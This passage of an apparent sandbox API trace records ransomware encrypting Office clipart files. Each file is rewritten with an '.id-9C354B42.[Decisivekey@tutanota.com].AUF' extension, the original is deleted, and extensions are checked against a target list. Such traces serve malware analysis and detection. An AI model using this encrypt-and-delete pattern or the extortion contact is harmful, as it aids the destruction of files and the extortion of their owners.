lpNumberOfBytesRead=0x321fed4*=0x5f8, lpOverlapped=0x0) returned 1 [0222.084] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x600, lpOverlapped=0x0) returned 1 [0222.085] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.085] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.085] SetEndOfFile (hFile=0x1f4) returned 1 [0222.085] CloseHandle (hObject=0x1f4) returned 1 [0222.085] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.085] SetEndOfFile (hFile=0x1f0) returned 1 [0222.086] CloseHandle (hObject=0x1f0) returned 1 [0222.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0222.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0222.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0222.087] lstrlenW (lpString=".doc") returned 4 [0222.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.087] lstrlenW (lpString=".docx") returned 5 [0222.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.087] lstrlenW (lpString=".pdf") returned 4 [0222.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.087] lstrlenW (lpString=".xls") returned 4 [0222.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.087] lstrlenW (lpString=".xlsx") returned 5 [0222.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.087] lstrlenW (lpString=".ppt") returned 4 [0222.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0222.087] lstrlenW (lpString=".zip") returned 4 [0222.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.087] lstrlenW (lpString=".rar") returned 4 [0222.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.087] lstrlenW (lpString=".bz2") returned 4 [0222.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.087] lstrlenW (lpString=".7z") returned 3 [0222.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0222.087] lstrlenW (lpString=".dbf") returned 4 [0222.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0222.087] lstrlenW (lpString=".1cd") returned 4 [0222.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0222.087] lstrlenW (lpString=".jpg") returned 4 [0222.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.088] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3298) returned 1 [0222.088] CloseHandle (hObject=0x1f0) returned 1 [0222.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x20 [0222.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0222.088] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.089] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.089] GetLastError () returned 0x0 [0222.089] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xce2, lpOverlapped=0x0) returned 1 [0222.090] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xcf0, lpOverlapped=0x0) returned 1 [0222.090] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.090] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.091] SetEndOfFile (hFile=0x1f4) returned 1 [0222.091] CloseHandle (hObject=0x1f4) returned 1 [0222.091] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.091] SetEndOfFile (hFile=0x1f0) returned 1 [0222.091] CloseHandle (hObject=0x1f0) returned 1 [0222.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0222.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0222.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0222.092] lstrlenW (lpString=".doc") returned 4 [0222.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.092] lstrlenW (lpString=".docx") returned 5 [0222.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.092] lstrlenW (lpString=".pdf") returned 4 [0222.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.092] lstrlenW (lpString=".xls") returned 4 [0222.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.092] lstrlenW (lpString=".xlsx") returned 5 [0222.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.092] lstrlenW (lpString=".ppt") returned 4 [0222.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0222.092] lstrlenW (lpString=".zip") returned 4 [0222.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.092] lstrlenW (lpString=".rar") returned 4 [0222.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.092] lstrlenW (lpString=".bz2") returned 4 [0222.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.092] lstrlenW (lpString=".7z") returned 3 [0222.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0222.092] lstrlenW (lpString=".dbf") returned 4 [0222.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0222.092] lstrlenW (lpString=".1cd") returned 4 [0222.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0222.092] lstrlenW (lpString=".jpg") returned 4 [0222.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.092] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=818) returned 1 [0222.093] CloseHandle (hObject=0x1f0) returned 1 [0222.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x20 [0222.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0222.093] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.093] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.093] GetLastError () returned 0x0 [0222.093] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x332, lpOverlapped=0x0) returned 1 [0222.103] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x340, lpOverlapped=0x0) returned 1 [0222.104] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.104] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.104] SetEndOfFile (hFile=0x1f4) returned 1 [0222.104] CloseHandle (hObject=0x1f4) returned 1 [0222.104] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.104] SetEndOfFile (hFile=0x1f0) returned 1 [0222.105] CloseHandle (hObject=0x1f0) returned 1 [0222.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0222.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0222.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0222.106] lstrlenW (lpString=".doc") returned 4 [0222.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.106] lstrlenW (lpString=".docx") returned 5 [0222.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.106] lstrlenW (lpString=".pdf") returned 4 [0222.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.106] lstrlenW (lpString=".xls") returned 4 [0222.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.106] lstrlenW (lpString=".xlsx") returned 5 [0222.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.106] lstrlenW (lpString=".ppt") returned 4 [0222.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0222.106] lstrlenW (lpString=".zip") returned 4 [0222.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.106] lstrlenW (lpString=".rar") returned 4 [0222.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.106] lstrlenW (lpString=".bz2") returned 4 [0222.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.106] lstrlenW (lpString=".7z") returned 3 [0222.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0222.106] lstrlenW (lpString=".dbf") returned 4 [0222.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0222.106] lstrlenW (lpString=".1cd") returned 4 [0222.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0222.106] lstrlenW (lpString=".jpg") returned 4 [0222.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.106] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=14688) returned 1 [0222.106] CloseHandle (hObject=0x1f0) returned 1 [0222.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x20 [0222.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0222.107] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.107] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.107] GetLastError () returned 0x0 [0222.107] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x3960, lpOverlapped=0x0) returned 1 [0222.233] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3970, lpOverlapped=0x0) returned 1 [0222.238] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.238] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.238] SetEndOfFile (hFile=0x1f4) returned 1 [0222.332] CloseHandle (hObject=0x1f4) returned 1 [0222.332] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.332] SetEndOfFile (hFile=0x1f0) returned 1 [0222.333] CloseHandle (hObject=0x1f0) returned 1 [0222.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0222.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0222.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0222.338] lstrlenW (lpString=".doc") returned 4 [0222.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.338] lstrlenW (lpString=".docx") returned 5 [0222.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.338] lstrlenW (lpString=".pdf") returned 4 [0222.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.338] lstrlenW (lpString=".xls") returned 4 [0222.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.338] lstrlenW (lpString=".xlsx") returned 5 [0222.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.338] lstrlenW (lpString=".ppt") returned 4 [0222.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0222.338] lstrlenW (lpString=".zip") returned 4 [0222.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.338] lstrlenW (lpString=".rar") returned 4 [0222.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.338] lstrlenW (lpString=".bz2") returned 4 [0222.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.338] lstrlenW (lpString=".7z") returned 3 [0222.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0222.339] lstrlenW (lpString=".dbf") returned 4 [0222.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0222.339] lstrlenW (lpString=".1cd") returned 4 [0222.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0222.339] lstrlenW (lpString=".jpg") returned 4 [0222.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.339] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1400) returned 1 [0222.339] CloseHandle (hObject=0x1f0) returned 1 [0222.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x20 [0222.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0222.339] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.341] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.342] GetLastError () returned 0x0 [0222.342] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x578, lpOverlapped=0x0) returned 1 [0222.368] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x580, lpOverlapped=0x0) returned 1 [0222.369] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.369] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.369] SetEndOfFile (hFile=0x1f4) returned 1 [0222.369] CloseHandle (hObject=0x1f4) returned 1 [0222.369] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.369] SetEndOfFile (hFile=0x1f0) returned 1 [0222.370] CloseHandle (hObject=0x1f0) returned 1 [0222.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0222.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0222.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0222.393] lstrlenW (lpString=".doc") returned 4 [0222.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.393] lstrlenW (lpString=".docx") returned 5 [0222.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.393] lstrlenW (lpString=".pdf") returned 4 [0222.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.393] lstrlenW (lpString=".xls") returned 4 [0222.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.393] lstrlenW (lpString=".xlsx") returned 5 [0222.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.393] lstrlenW (lpString=".ppt") returned 4 [0222.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 63 [0222.393] lstrlenW (lpString=".zip") returned 4 [0222.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.393] lstrlenW (lpString=".rar") returned 4 [0222.393] 